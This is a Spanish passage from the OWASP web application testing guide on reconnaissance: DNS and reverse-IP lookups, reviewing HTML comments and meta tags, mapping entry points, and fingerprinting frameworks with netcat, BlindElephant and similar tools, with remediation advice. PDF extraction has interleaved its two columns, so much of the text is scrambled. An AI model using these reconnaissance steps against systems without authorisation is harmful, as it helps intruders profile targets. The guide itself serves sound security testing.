example.com. como PTR y emita una consulta en la dirección IP. Si los evaluadores tienen suerte,
pueden recibir de vuelta una entrada con un nombre DNS. Esta técnica se basa en
la existencia de mapas de nombres IP, símbolos, lo que no está garantizado.
El siguiente ejemplo muestra cómo identificar el nombre de los servidores de

www.owasp.org usando el comando de alojamiento:
Búsquedas DNS basadas en la web
$ host -t ns www.owasp.org
Este tipo de búsqueda es similar a la transferencia de zonas de DNS, pero se basa
en servicios web que permiten búsquedas basadas en el nombre de DNS. Uno de
www.owasp.org is an alias for owasp.org.
estos servicios es el de búsqueda de DNS de Netcraft, disponible en
owasp.org name server ns1.secure.net. http://searchdns.netcraft.com/?host. El evaluador puede consultar una lista de
nombres que pertenecen a su dominio elegido, como example.com. Luego
owasp.org name server ns2.secure.net. comprobarán si los nombres que obtuvieron son pertinentes al objetivo que están
estudiando.
Servicios de IP inversa
Los servicios de IP inversa son similares a las consultas inversas de DNS, con la
Una transferencia de zona puede solicitarse ahora a los nombres de los servidores diferencia que los evaluadores consultan una aplicación web en lugar de un nombre
para el dominio example.com. Si el evaluador es afortunado, recibirá una lista de de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver
las entradas DNS de este dominio. Esto incluirá el obvio resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para
obtener un análisis más exhaustivo.

52
Domain tools reverse IP: domaintools.com
(requires free membership)
MSN search: search.msn.com
(syntax: “ip:x.x.x.x” (without the quotes)
Webhosting info: whois.webhosting.info
(syntax: http://whois.webhosting.info/x.x.x.x)
Googlear
Siguiendo la información recopilada mediante las técnicas anteriores, los

DNSstuff: dnsstuff.com (multiple services available) evaluadores pueden confiar en los motores de búsqueda y posiblemente refinar e
incrementar su análisis. Esto podría ceder evidencia de nombres simbólicos
adicionales pertenecientes al objetivo o aplicaciones accesibles a través de URLs
no-obvios.
net-square: net-square.com ¶(multiple queries on domains and IP addresses,
requires installation)
Por ejemplo, teniendo en cuenta el ejemplo anterior sobre www.owasp.org, el

evaluador podría consultar Google y otros motores de búsqueda indagando
tomDNS: tomdns.net
información (entiéndase, los nombres DNS) relacionados con los nuevos
dominios recientemente descubiertos de webgoat.org, webscarab.com y
(some services are still private at the time of writing)
webscarab.net.
SEOlogs.com: seologs.com ¶(reverse-IP/domain lookup)

Las técnicas para Googlear se explican en pruebas: arañas, robots y
rastreadores.
En el ejemplo siguiente se muestra el resultado de una consulta a uno de los

servicios de IP inversa anteriores para 216.48.3.18, la dirección IP de
Pruebas de Caja Gris
www.owasp.org. Tres asignaciones de nombres simbólicos no obvios
No son aplicables. La metodología es igual a la que se describió en las
pruebas de Caja Negra, no importa cuánta información tiene el evaluador al
inicio.
adicionales a la misma dirección han sido revelados.
Herramientas
• Herramientas de búsqueda DNS como nslookup, dig y similares.
• Motores de búsqueda (Google, Bing y otros motores de búsqueda

principales).
• Servicios especializados relacionados con DNS basado en la web: ver texto.

53
• Nmap - insecure.org
...
• Nessus Vulnerability Scanner - nessus.org
• Nikto - cirt.net
<div class=”table2”>
<div class=”col1”>1</div><div class=”col2”>Mary</div>
Referencias <div class=”col1”>2</div><div class=”col2”>Peter</div>
Libros Blancos <div class=”col1”>3</div><div class=”col2”>Joe</div>
[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1

Revise los comentarios sobre el sitio web y los

</div>
metadatos en busca de fugas de información
El evaluador puede incluso encontrar algo como esto:
(OTG-INFO-005)
Resumen 
Es muy común e incluso recomendable para los programadores el incluir
comentarios detallados y metadatos en su código fuente. Sin embargo, los
comentarios y metadatos incluidos en el código HTML podrían revelar
Revise la información de la versión HTML en busca de números de versión válidos
y Definición de Tipo de Datos (DTD) de URLs
información interna que no debería estar disponible a atacantes potenciales. Los

comentarios y metadatos deben ser revisados con el fin de determinar si hay fugas <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN”
de información. “http://www.w3.org/TR/html4/strict.dtd”>
Objetivos de la prueba • “strict.dtd” -- default strict DTD
Revise los comentarios y metadatos de la página web para entender mejor la • “loose.dtd” -- loose DTD
aplicación y encontrar cualquier fuga de información.
• “frameset.dtd” -- DTD for frameset documents
Cómo probar Los comentarios HTML son utilizados por los desarrolladores para
incluir información sobre la depuración de la aplicación. A veces se olvidan de los Algunas Metaetiquetas no proveen vectores de ataque activos, sino más bien
comentarios y se quedan en la producción. Los evaluadores deben busquar permiten a un atacante hacer un perfil de la aplicación
comentarios en HTML que comienzan con "".
<META name=”Author” content=”Andrew Muller”>
Compruebe el código HTML en busca de comentarios que contengan información

sensible que pueda ayudar al atacante a conocer más de cerca la aplicación. Algunas Meta etiquetas HTTP modifican los encabezados de respuesta, como http-
Podrían ser códigos SQL, nombres de usuario y contraseñas, direcciones IP equiv que establece un encabezado de respuesta HTTP basado en el atributo del
internas o información de depuración. contenido de un meta elemento, tal como:

54
La plataforma para la selección de contenido de Internet (PICS) y el protocolo de

<META http-equiv=”Expires” content=”Fri, 21 Dec 2012 12:34:56 recursos de Descripción Web (POWDER) proporcionan infraestructura para
GMT”> asociar metadatos con contenido de Internet.
que resultará en el encabezado HTTP: Pruebas de Caja Gris
Expires: Fri, 21 Dec 2012 12:34:56 GMT

No aplicable.
Y
Herramientas
• Wget
<META http-equiv=”Cache-Control” content=”no-cache”>
• Browser “view source” function
• Eyeballs
Resultará en
• Curl
Cache-Control: no-cache
Referencias
Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyección (por
ejemplo ataques CRLF). También puede ayudar a determinar el nivel de fuga de Libros Blancos
datos a través de la caché del navegador.
[1] HTML version 4.01: w3.org
Una Meta etiqueta común (pero no obediente en WCAG) es la actualización.
[2] XHTML (for small devices): w3.org
<META http-equiv=”Refresh”
[3] HTML version 5 : w3.org
content=”15;URL=https://www.owasp.org/index.html”>
GMT”>
Identificar puntos de entrada de la aplicación

(OTG-INFO-006)
Un uso común para una Meta etiqueta es especificar palabras clave que un motor
de búsqueda podría usar para mejorar la calidad de los resultados. Resumen
<META name=”keywords” lang=”en-us” content=”OWASP, security, Enumerar la aplicación y su superficie de ataque es un precursor clave antes que
sunshine, lollipops”> cualquier prueba de fondo puede llevarse a cabo, ya que
GMT”>
permite al evaluador identificar probables áreas de debilidad. Esta sección

Aunque la mayoría de servidores web administran la indexación de los motores de
pretende ayudar a identificar y mapear las áreas dentro de la aplicación que
búsqueda mediante el archivo robots.txt, también pueden ser gestionados por Meta
deben investigarse una vez que la enumeración y el mapeo se han completado.
etiquetas. La etiqueta a continuación recomendará a los robots que no indexen y no
sigan enlaces de la página HTML que contienen la etiqueta.
<META name=”robots” content=”none”> Objetivos de la prueba

55
Entender cómo se forman las solicitudes y las respuestas típicas de la aplicación. Una vez que ha mapeado cada área de la aplicación, puede ir a través de la
aplicación y probar cada una de las áreas que ha identificado y tomar notas de lo
que funcionó y lo que no funcionó. El resto de esta guía identificará cómo se
prueba cada una de estas áreas de interés, pero esta sección debe realizarse antes
Cómo probar de que la prueba real pueda comenzar.
Antes de cualquier prueba, el evaluador debe tener siempre una buena

comprensión de la aplicación y de cómo el usuario y el navegador se
comunican con él. Mientras el evaluador recorre a través de la aplicación,
debe prestar atención especial a todas las solicitudes HTTP (métodos GET y
POST, también conocidos como Verbos), así como cada parámetro y campo A continuación se presentan algunos puntos de interés para todas las solicitudes
de forma que se pasa a la aplicación. Además, debe prestar atención cuando se y respuestas. Dentro de la sección de peticiones, concéntrese en los métodos
utilizan las solicitudes GET y cuando las solicitudes POST para pasar GET y POST, ya que en éstos aparecen la mayoría de las solicitudes. Tenga en
parámetros a la aplicación. Es muy común que se utilicen las solicitudes GET, cuenta que otros métodos, como PUT y DELETE, se pueden utilizar. A menudo,
pero cuando se pasa información sensible, a menudo se realiza dentro del estas solicitudes más raras pueden también exponer vulnerabilidades. Hay una
cuerpo de una petición POST. sección especial en esta guía dedicada a probar estos métodos HTTP.
Note que para ver los parámetros enviados en una petición POST, el Solicitudes:
evaluador tendrá que utilizar una herramienta como un interceptador de proxy
(por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del
navegador. Dentro de la solicitud POST, el evaluador debe también poner
atención especial a cualquier campo oculto que se esté pasando a la • Identificar dónde se utilizan peticiones GET y POST.
aplicación, ya que estos generalmente contienen información confidencial,
como información sobre el estado, cantidad de artículos o el precio de los • Identificar todos los parámetros en las peticiones POST (estos son en el cuerpo
artículos que el desarrollador nunca quiso que usted pudiera ver o cambiar. de la solicitud)
• Preste especial atención a los parámetros ocultos en la petición POST. Cuando

una petición POSTes enviada, todos los campos del formulario (incluyendo
En la experiencia del autor, ha sido muy útil utilizar un interceptador de proxy parámetros ocultos) se enviarán en el cuerpo del mensaje HTTP a la aplicación.
y una hoja de cálculo para esta etapa de la prueba. El proxy hará el Estos normalmente no son vistos a menos que se utilice un proxy o se vea el
seguimiento de cada solicitud y respuesta entre el evaluador y la aplicación código fuente del HTML. Además, la página siguiente que se muestra, sus datos
mientras él o ella recorre a través de él. y el nivel de acceso pueden todos ser diferentes dependiendo del valor de los
parámetros ocultos.
• Identifique todos los parámetros utilizados en una petición GET (es decir, la
Adicionalmente, en este punto, el evaluador normalmente atrapa cada URL), en particular la cadena de consulta (generalmente después de un signo ?).
solicitud y respuesta para que él pueda ver exactamente cada encabezado,
parámetro, etc., que pasa a la aplicación y lo que devuelve. Esto puede ser • Identifique todos los parámetros de la cadena de consulta. Estos generalmente
bastante tedioso a veces, especialmente para sitios grandes e interactivos están en pares, como foo = bar. También tenga en cuenta que muchos de los
bancaria). Sin embargo, la experiencia le
(piense en una aplicación parámetros pueden estar en una cadena de consulta separados por un &, ~,:, o
cualquier otro carácter especial o codificación.
dirá al evaluador qué es lo que debe buscar y el tiempo
utilizado durante esta fase puede reducirse significativamente.
• Una nota especial cuando se trata de identificar varios parámetros en una

cadena dentro de una solicitud POST es que algunos o todos los parámetros
Mientras el evaluador recorre a través de la aplicación, debe tomar nota de todos serán necesarios para ejecutar los ataques. El evaluador debe identificar todos
los parámetros interesantes en la URL, encabezados personalizados o cuerpo de los parámetros (incluso si están codificados o encriptados) e identificar los que
las peticiones/respuestas y guardarlas en una hoja de cálculo. La hoja de cálculo son procesados por la aplicación. Las secciones posteriores de la guía van a
debe incluir la página solicitada (sería bueno añadir también el número de identificar cómo medir estos parámetros. En este punto, sólo asegúrese de que
solicitud del proxy, para referencias futuras), los parámetros de interés, el tipo de cada uno sea identificado.
solicitud (POST/GET), si el acceso es autenticado/no autenticado, si se usa SSL,
si es parte de un proceso de pasos multiples y otras notas pertinentes. • También preste atención a cualquier encabezado adicional o personalizado que
no sea común (como debug = False).

56
Respuestas: EJEMPLO 2
En este ejemplo se muestra una solicitud POST que debería conectarle a una
aplicación.
• Identifique dónde se establecen nuevas cookies (encabezado Set-Cookie),
modifican o añaden.
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?-
• Identifique dónde hay redireccionamientos (estado de código 3xx HTTP)
códigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de service=login
servidor interno (internal server errors) durante las respuestas normales (es
Host: x.x.x.x
decir, sin modificar solicitudes).
Cookie:
• También note dónde se utiliza cualquier encabezado interesante. Por ejemplo,
SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH
"Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un
ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz
sitio tiene su carga equilibrada y un servidor está configurado incorrectamente,
NA==
entonces el evaluador podría tener que hacer varias solicitudes para acceder al
servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.
CustomCookie=00my00trusted00ip00is00x.x.x.x00
Cuerpo del mensaje POST:

Probando en busca de puntos de entrada a la aplicación user=admin&pass=pass123&debug=true&fromtrustIP=true
Los siguientes son dos ejemplos de cómo buscar puntos de entrada a la

aplicación.
Result Expected:
EJEMPLO 1
En este ejemplo el evaluador debe anotar todos los parámetros como lo hizo
Este ejemplo muestra una solicitud GET que debería adquirir un elemento de antes, pero observe que los parámetros se pasan en el cuerpo del mensaje y no en
una aplicación de compras en línea. la URL. Además, tenga en cuenta que hay una cookie personalizada que está
siendo utilizada.
GET
https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= Pruebas de Caja Gris
z101a&PRICE=62.50&IP=x.x.x.x
Probar en busca de puntos de entrada de la aplicación a través de una
Host: x.x.x.x metodología de Caja Gris consistiría en todo lo ya identificado anteriormente
con una adición. En los casos donde hay fuentes externas de las que la aplicación
Cookie: recibe datos y los procesa (tales como trampas SNMP, mensajes syslog,
SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG
mensajes SMTP o SOAP de otros servidores) una reunión con los
ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
desarrolladores de la aplicación podría identificar las funciones que aceptan o
esperan el ingreso de datos del usuario y cómo están formateados. Por ejemplo,
el desarrollador podría ayudar a entender cómo formular una petición SOAP
correcta que aceptaría la aplicación y dónde reside el servicio web (si el servicio
web o cualquier otra función no ha sido identificada durante las pruebas de Caja
Negra).
Result Expected:
Aquí el evaluador debe anotar todos los parámetros de la petición tales como
CUSTOMERID, ITEM, PRICE, IP y las cookies (que podrían ser sólo Herramientas
parámetros codificados o utilizadas para el estado de sesión).
Proxy de intercepción:

57
• OWASP: Zed Attack Proxy (ZAP) Hay varias maneras de acercarse a las pruebas y a la medición de la cobertura del
código:
• OWASP: WebScarab
• Burp Suite
• Ruta - Pruebe cada uno de los caminos a través de una aplicación que incluye
• CAT combinatoria y análisis de valores límite para cada ruta de decisión. Aunque este
enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente
con cada rama de decisión.
Accesorios de motores de búsqueda: • Flujo de Datos (o análisis de la mancha) - prueba la asignación de variables a
través de la interacción externa (normalmente los usuarios). Se centra en crear
• TamperIE for Internet Explorer mapas del flujo, transformación y uso de datos a través de una aplicación.
• Tamper Data for Firefox • Carrera - prueba varias instancias simultáneas de la aplicación manipulando los
mismos datos.
Referencias
El acuerdo en cuanto a qué método se utiliza y en qué medida se utiliza cada
Libros Blancos método debe ser negociado con el dueño de la aplicación. Enfoques más simples
podrían también adoptarse, incluyendo el preguntarle al dueño de la aplicación
las funciones o secciones del código por las que están particularmente
preocupados y cómo llegar a esos segmentos de código.
• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 -
tools.ietf.org
Para demostrar la cobertura del código al dueño de la aplicación, el evaluador

Cree mapas de las rutas de ejecución a través puede iniciar con una hoja de cálculo y documentar todos los enlaces
descubiertos usando robots araña en la aplicación (manual o automáticamente).
de la aplicación (OTG-INFO-007) Entonces el evaluador puede mirar más de cerca los puntos de decisión en la
aplicación e investigar cuántas rutas de código importantes se descubren. Estas
Resumen deberían entonces documentarse en la hoja de cálculo con URL, prosa y captura
de pantalla de las descripciones de las rutas descubiertas.
Antes de comenzar las pruebas de seguridad, es de suma importancia entender la
estructura de la aplicación. Sin una comprensión profunda de la distribución de
la aplicación, es poco probable que sea probada exhaustivamente.
Pruebas de Caja Gris/Blanca
Asegurar suficiente cobertura de código para el dueño de la aplicación es mucho

Objetivos de la prueba más fácil con el enfoque de Caja Gris y Blanca para las pruebas. La información
solicitada y proporcionada al evaluador asegurará que se cumplan los requisitos
Crear mapas de la aplicación de destino y comprender los principales flujos de mínimos de cobertura de código.
trabajo.
Ejemplo
Cómo probar
Spidering automático
En las pruebas de Caja Negra es extremadamente difícil probar todo el código
base. No sólo porque el evaluador no tiene ninguna vista de las rutas de código a Los robots araña automáticos son una herramienta utilizada para descubrir
través de la aplicación, e incluso si lo hicieran, probar todas las rutas del código automáticamente nuevos recursos (URL) en un sitio web en
tomaría mucho tiempo. Una manera de reconciliar esto es documentar qué rutas
del código fueron descubiertas y probadas.

58
particular. Comienza con una lista de URL a visitar, llamadas semillas, que [1] en.wikipedia.org
dependen de cómo se inicia el robot araña. Si bien hay un montón de
herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy
(ZAP):
Framework referencial para el uso de huellas

digitales en aplicaciones web (OTG-INFO-
008)
Resumen
El framework web[*] marcar con huellas digitales es una subtarea importante

del proceso de recolección de información. Conocer el tipo de framework
puede automáticamente dar una gran ventaja si este framework ya ha sido
probado mediante pruebas de penetración. No son sólo las vulnerabilidades
conocidas en versiones sin parches, sino configuraciones erróneas específicas
en el framework y la estructura de archivo conocido que hace tan importante
el proceso de marcar con huellas digitales.
ZAP ofrece las siguientes carácterísticas de spidering automático, que pueden

Se utilizan varios proveedores diferentes y versiones de los frameworks web.
ser seleccionadas a partir de las necesidades del evaluador:
La información al respecto de estos ayuda significativamente en el proceso de
pruebas y también puede ayudar a cambiar el curso de la
• Sitio de Robot Araña - la lista de semillas contiene todas las URL existentes ya
encontradas en el sitio seleccionado.
prueba. Dicha información puede ser derivada de un cuidadoso análisis
• Subárbol de Robot araña - la lista de semillas contiene todas las URL existentes
ya encontradas y presentes en el subárbol del nodo seleccionado.
de ciertos lugares comunes. La mayoría de los frameworks web tienen varios
• URL de robot Araña - la lista de semillas contiene sólo la URL correspondiente
marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es
al nodo seleccionado (en el árbol de sitio).
básicamente lo que todas las herramientas automáticas hacen: buscar un
marcador desde una ubicación predefinida y luego compararlo con la base de
• Vista completa de Robot Araña - la lista de semillas contiene todas las URL
datos de firmas conocidas. Para mayor precisión se utilizan, generalmente,
que el usuario ha seleccionado como 'A la vista'.
varios marcadores.
Herramientas
[*] Tenga en cuenta que este artículo no hace ninguna diferenciación entre
Frameworks de aplicación Web (WAF) y sistemas de gestión de contenidos
• Zed Attack Proxy (ZAP)
(CMS). Esto se ha hecho para que sea conveniente marcar con huellas
digitales ambos casos en un solo capítulo. Además, se hace referencia a ambas
• Spreadsheet software
categorías como frameworks web.
• Diagramming software
Referencias
El tipo de framework web usado, asi como tener una mejor comprensión de la
metodología de pruebas de seguridad.
Libros Blancos

59
sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el capítulo
#Remediación).
Cómo probar

Así, en el mismo ejemplo, el evaluador podría perder el encabezado X-
Hay varios lugares muy comunes para buscar definir el framework actual: Powered-By u obtener una respuesta similar a la siguiente:
• Encabezados HTTP
• Cookies
HTTP/1.1 200 OK
• Códigos fuente HTML
Server: nginx/1.0.14
• Carpetas y documentos específicos
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Encabezados HTTP
Connection: close
La forma básica de identificación de un framework web es mirar el campo X-
Powered-By en el encabezado de respuesta HTTP. Muchas herramientas Vary: Accept-Encoding
pueden utilizarse para marcar una huella digital. La más simple es la utilidad
netcat. X-Powered-By: Blood, sweat and tears
Considere la siguiente solicitud-respuesta HTTP:

A veces hay más encabezados HTTP que apuntan a un cierto framework web.
En el ejemplo siguiente, según la información de la solicitud HTTP, se puede
$ nc 127.0.0.1 80 ver que en X-Powered-By el encabezado contiene la versión de PHP. Sin
embargo, el encabezado X-Generator señala que el framework utilizado
HEAD / HTTP/1.0 realmente es Swiftlet, lo que ayuda a un evaluador de penetración a ampliar
sus vectores de ataque. Al realizar el marcaje de huellas digitales, inspeccione
siempre con cuidado cada encabezado HTTP en busca de tales fugas.
HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
Del campo X-Powered-By, entendemos que el framework de la aplicación

web es muy posiblemente Mono. Sin embargo, aunque este enfoque es simple
y rápido, esta metodología no funciona en el 100% de los casos. Es posible
deshabilitar fácilmente el encabezado X-Powered-By mediante una
configuración adecuada. También hay varias técnicas que permiten que un

60
framework CakePHP seleccionado, esto se podría hacer con la siguiente

HTTP/1.1 200 OK configuración (Extracto de core.php):
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT

/**
Content-Type: text/html
* The name of CakePHP’s session cookie.
Connection: keep-alive
*
* Note the guidelines for Session names states: “The session name
references
X-Powered-By: PHP/5.4.16-1~dotdeb.1
* the session id in cookies and URLs. It should contain only
Expires: Thu, 19 Nov 1981 08:52:00 GMT alphanumeric
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, * characters.”

pre-check=0
* @link http://php.net/session_name
Pragma: no-cache
*/
Cookies
Sin embargo, estos cambios son menos comunes que cambiar el encabezado
Otra manera similar pero más confiable de determinar el framework web
X-Powered-By, por lo que este enfoque puede ser considerado como más
actual es determinar el framework de cookies específicas.
confiable.
Considere la siguiente solicitud HTTP:
GET /cake HTTP /1.1 Código fuente HTML
Host: defcon-moscow.org Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de
la página HTML. A menudo se puede encontrar una gran cantidad de
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv: información que ayuda a un evaluador a reconocer un framework específico
22. 0) Gecko/20100101 Firefox/22 . 0 de la web. Uno de los marcadores comunes son comentarios HTML que
conducen directamente a la divulgación del framework. Más a menudo, ciertas
Accept: text/html, application/xhtml + xml, application/xml; q=0.9,
*/*; q=0 , 8 rutas específicas del framework pueden encontrarse, es decir, frameworks css
y/o carpetas js específicos. Finalmente, las variables de secuencia de
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 comandos (script) específicas podrían también apuntar a un cierto framework.
Accept - Encoding: gzip, deflate
DNT: 1 De la siguiente captura de pantalla uno puede aprender fácilmente el

framework y su versión de los marcadores mencionados. El comentario, rutas
Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71; específicas y variables del script pueden ayudar a un atacante a determinar
rápidamente una instancia del framework ZK.
Connection: Keep-alive
La cookie CAKEPHP ha sido establecida automáticamente, lo que da

información sobre el framework que se utiliza. Una lista de nombres comunes
de cookies se presenta en el capítulo #Cookies_2. Las limitaciones son las
mismas - es posible cambiar el nombre de la cookie. Por ejemplo, para el

61
Con mayor frecuencia, dicha información se coloca entre etiquetas Actualmente, es una de las mejores herramientas de huellas digitales en el
<head></head> en etiquetas <meta> o al final de la página. mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
• Cadenas de texto (mayúsculas y minúsculas)

Sin embargo, se recomienda revisar todo el documento ya que puede ser útil
para otros propósitos tales como inspección de otros comentarios útiles y • Expresiones regulares
campos ocultos. A veces, los desarrolladores web no se preocupan mucho por
ocultar información sobre el framework utilizado. Es posible toparse con algo • Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
como esto en la parte inferior de la página:
• MD5 hashes
• reconocimiento de URL
• etiquetas de patrones HTML
• Códigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
BlindElephant
Archivos y carpetas específicos
Los archivos y carpetas específicos son diferentes en cada framework Página Web: community.qualys.com
específico. Se recomienda instalar el correspondiente framework durante las
pruebas de penetración para tener mejor entendimiento de qué infraestructura Esta magnífica herramienta funciona mediante el principio de
se presenta y qué archivos pueden quedar en el servidor. Sin embargo, ya checksum (suma de comprobación) de archivos estáticos
existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de
basados en la diferencia de la versión que proporciona así una
archivos y carpetas predecibles (code.google.com).
alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa:
Una lista de herramientas generales y muy conocidas se presenta a
continuación. También hay un sinfín de otras utilidades, así como
herramientas de huellas digitales basadas en frameworks.
WhatWeb:
Sitio Web: morningstarsecurity.com

62
Wapplyzer es un accesorio de Firefox Chrome. Sólo funciona en

pentester$ python BlindElephant.py http://my_target drupal coincidencias de expresiones regulares y no necesita otra cosa que
Loaded /Library/Python/2.7/site-
packages/blindelephant/dbs/drupal.pkl with 145 versions, 478
differentiating paths, and 434 version groups.
cargar la página en el navegador. Funciona totalmente a nivel de navegador y
Starting BlindElephant fingerprint for version of drupal at da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto
http://my_target es muy útil para tener una noción de qué tecnologías fueron utilizadas para
construir el sitio web de destino inmediatamente después de navegar por una
página.
Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn’t match known

Una muestra de la respuesta de un accesorio se presenta en la siguiente
fingerprint. 527b085a3717bd691d47713dff74acf4
captura de pantalla.
Hit http://my_target/INSTALL.txt

fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt

fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Referencias
Hit http://my_target/themes/garland/style.css Libros Blancos
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, • Saumil Shah: “An Introduction to HTTP fingerprinting” -
7.10, 7.11, 7.12, 7.13, 7.14
net-square.com
...
• Anant Shrivastava : “Web Application Finger Printing” -
Fingerprinting resulted in: anantshri.info
Remediación
Wappalyzer El consejo general es usar varias de las herramientas descritas anteriormente y

verificar los registros para entender exactamente lo que ayuda a un atacante a
Página Web: http://wappalyzer.com revelar el framework de la web. Mediante la realización de múltiples análisis
después de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
framework no puede ser detectado por análisis automático. A continuación se
presentan algunas recomendaciones específicas, de acuerdo a la ubicación del
marcador del framework y algunos enfoques adicionales interesantes.

63
• Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a

ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
Encabezados HTTP htaccess y agregando RewriteCond o RewriteRule allí. A continuación se
presenta un ejemplo de tal restricción para dos carpetas comunes de
Compruebe la configuración y desactive u ofusque todos los encabezados WordPress.
HTTP que divulgan información de las tecnologías utilizadas. Aquí hay un
artículo interesante sobre ofuscación de encabezados HTTP con Netscaler:
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using- RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
netscaler.html
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]

Cookies
Se recomienda reemplazar los nombres de las cookies al hacer cambios en los Sin embargo, estas no son las únicas maneras de restringir el acceso. Con el
archivos de configuración correspondientes. fin de automatizar este proceso, existen ciertos accesorios (plugins)
específicos del framework. Un ejemplo para WordPress es StealthLogin:
wordpress.org.
Código fuente HTML
Compruebe manualmente el contenido del código HTML y elimine todo lo

que explícitamente dirige al framework. Enfoques adicionales
Guías generales:
Guías generales:
[1] gestión de checksum
• Asegúrese de que no hay marcadores visuales que revelen el framework. El propósito de este enfoque es vencer los escaneos basados en checksum (la
suma de comprobación) y no permitirles revelar archivos por sus hashes. En
• uite todos los comentarios innecesarios (derechos de autor, información de general, existen dos enfoques en la gestión de checksum:
errores, comentarios específicos del framework).
• Retire etiquetas de generación y META.

• Cambiar la ubicación donde se colocan los archivos (es decir, moverlos a
otra carpeta, o cambiar el nombre de la carpeta existente)..
• Utilice los archivos css o js propios de la empresa y no los almacene • Modificar el contenido - incluso una ligera modificación resulta en una suma
de hash completamente diferente, así que añadir un solo byte en el final del
archivo no debe ser un gran problema.
en carpetas de frameworks específicos.
• No utilice secuencias de comandos predeterminados en la página ni los [2] Caos controlado

ofusque si deben utilizarse.
Un método divertido y eficaz que implica agregar archivos y carpetas falsos
desde otros frameworks para engañar a los escáneres y confundir a un
atacante. Pero, ¡tenga cuidado de no sobreescribir las carpetas y archivos
Archivos y carpetas especificas
existentes o romper el framework actual!
Guias generales:
Aplicación de huellas digitales para web

• Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica
archivos de texto que revelen información sobre las versiones y la instalación (OTG-INFO-009)
también.
64
Resumen
GET / HTTP/1.1
No hay nada nuevo bajo el sol, y casi cada aplicación web que se puede
pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
proyectos de software libre y de código abierto que son desarrollados y Gecko/20100101 Firefox/31.0
desplegados activamente alrededor del mundo, es muy probable que una
prueba de seguridad enfrentará un sitio objetivo que es total o parcialmente Accept:
dependiente de una de estas aplicaciones muy conocidas (por ejemplo, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las
Accept-Language: en-US,en;q=0.5
aplicaciones web que se están probando ayuda significativamente en el
proceso de prueba y se reduce drásticamente
‘’’Cookie: wp-settings-time-1=1406093286; wp-settings-time-
2=1405988284’’’
el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas
tienen encabezados HTML, cookies y estructuras de directorios que se pueden
DNT: 1
enumerar para identificar la aplicación.
Host: blog.owasp.org
Identificar la aplicación web y la versión para determinar vulnerabilidades

conocidas y la formas de explotarlas apropiadamente para usar durante la
prueba.
La cookie de CAKEPHP se ha establecido automáticamente, lo que da

información sobre el framework que se utiliza. Una lista de nombres comunes
Cómo probar de las cookies se presenta en la sección de Identificadores de Aplicación
Común. Sin embargo, es posible cambiar el nombre de la cookie.
Cookies
Una manera relativamente confiable de identificar una aplicación web es

mediante la aplicación de cookies específicas. Código fuente HTML
Esta técnica se basa en la búsqueda de ciertos patrones en el código fuente de

la página HTML. A menudo se puede encontrar una gran cantidad de
Considere la siguiente solicitud HTTP: información que ayuda a un evaluador a reconocer una aplicación web
específica. Uno de los marcadores comunes son los comentarios HTML que
conducen directamente a la divulgación de la aplicación. Más a menudo,
ciertas rutas específicas de la aplicación pueden encontrarse; es decir,
enlaces a aplicaciones css y carpetas js específicas.
Finalmente, las variables de script específico también pueden
apuntar a una aplicación determinada.
